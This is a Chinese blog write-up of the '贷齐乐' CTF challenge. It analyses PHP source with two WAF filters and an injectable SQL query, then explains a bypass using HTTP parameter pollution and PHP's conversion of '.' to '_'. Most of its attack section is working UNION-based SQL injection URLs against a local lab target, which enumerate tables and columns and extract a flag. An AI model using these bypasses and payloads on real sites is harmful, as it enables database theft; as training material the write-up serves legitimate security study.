贷齐乐hpp+php特性注入

运行过程

  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }

分析可知,先进行两层waf拦截(详见下面),首先先对传入的参数使用dowith拦截,再使用dhtmlspecialchars拦截。再查询有没有submit,如果有则将id带入数据库进行查询并且返回值,如果没有submit,则直接退出。

waf

第一层waf拦截

  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }

这个正则拦截/select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile,当发现用户输入的参数包含这些时,会直接退出程序。

第二层waf拦截

  function dhtmlspecialchars($string) {
    if (is_array($string)) {
        foreach ($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    }
    else {
        $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
        if (strpos($string, '&amp;#') !== false) {
            $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
        }
    }
    return $string;
}

这层waf是先将数据分为两个,一个key,一个value,并进行检测是不是含有非法字符。

数据库查询语句

  if (isset($_REQUEST['submit'])) {
    $user_id = $_REQUEST['i_d'];
    $sql = "select * from ctf.users where id=$user_id";
    $result=mysqli_query($conn,$sql);
    while($row = @mysqli_fetch_array($result))
    {
        echo "<tr>";
        echo "<td>" . $row['name'] . "</td>";
        echo "</tr>";
    }
}

注入思路

我们得思考下如果我们有一种方法让第一层WAF检测不到恶意字符,再通过第二层WAF的覆盖,从而将恶意字符传入到REQUEST中,其实也就可以绕过WAF,完成我们的注入了。
找好了思路,那么我们就得想办法找到这个方法,这个想法之前我们说了要让第一道WAF找不到恶意字符,那么我们就得再REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。
既然上面我们从绕过WAF变为了如何让第一道WAF检测不到恶意字符,那么我们又得想一个办法。
在php中,如果传入多个名字相同的参数,那么它会取最后一个参数,那么这样,就可以绕过第一道WAF。所以传入i_d=1&i_d=2,其最终会接收到的是i_d=2。那我们便想把恶意语句放在第一个i_d。
绕过了第一道WAF,那么就该想如何绕过第二道WAF,上面绕过第一道WAF时,也给了思路,那就是将恶意语句放在第一个i_d,那就得思考,怎么在第二道WAF时让其接受第一个i_d。
php中有个小特性,那就是传入的.将会变为_,例如我们传入i.d会被转换为i_d,那么我们就要想想能不能利用这个思路来绕过。
$_SERVER[‘REQUEST_URI’]在接受时i_d和i.d是不一样的,所以,我们便可以使用这个特性来绕过。

注入

按照上面的接替思路,我们构建payload进行测试。

http://127.0.0.1/daiqile/index.php?submit=1&i_d=1&i.d=2
http://127.0.0.1/daiqile/index.php?submit=1&i_d=2&i.d=1

使用上面进行检测,当i_d=1&i.d=2时,不会回显数据,而i_d=2&i.d=1会回显数据(因为我的数据库id=2才有数据,id=1没有数据),发现事实和我们想象的一样既绕过了第一道WAF,又将i_d传入数据库。
那么接下来就可以进入正是注入。
使用/**/代替空格
查询列数并查看回显位置

?submit=1&i_d=-2/**/union/**/select/**/1,2,3,4&i.d=1

查询数据库名(改变limit查询的行数)

?submit=1&i_d=-2/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1

最终使用下面语句查到为ctf

?submit=1&i_d=-2/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1

在这里插入图片描述
查表名(因为使用addslashes对单引号进行过滤,所以我们使用十六进制绕过;源码中也对=进行了过滤,我们只能使用like进行绕过)

?submit=1&i_d=-2/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=1

在这里插入图片描述
查询列名

?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1

在这里插入图片描述

?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/1,1&i.d=1

在这里插入图片描述

?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=1

在这里插入图片描述

?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1

在这里插入图片描述
拿下flag

?submit=1&i_d=-2/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

头发巨多不做程序猿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值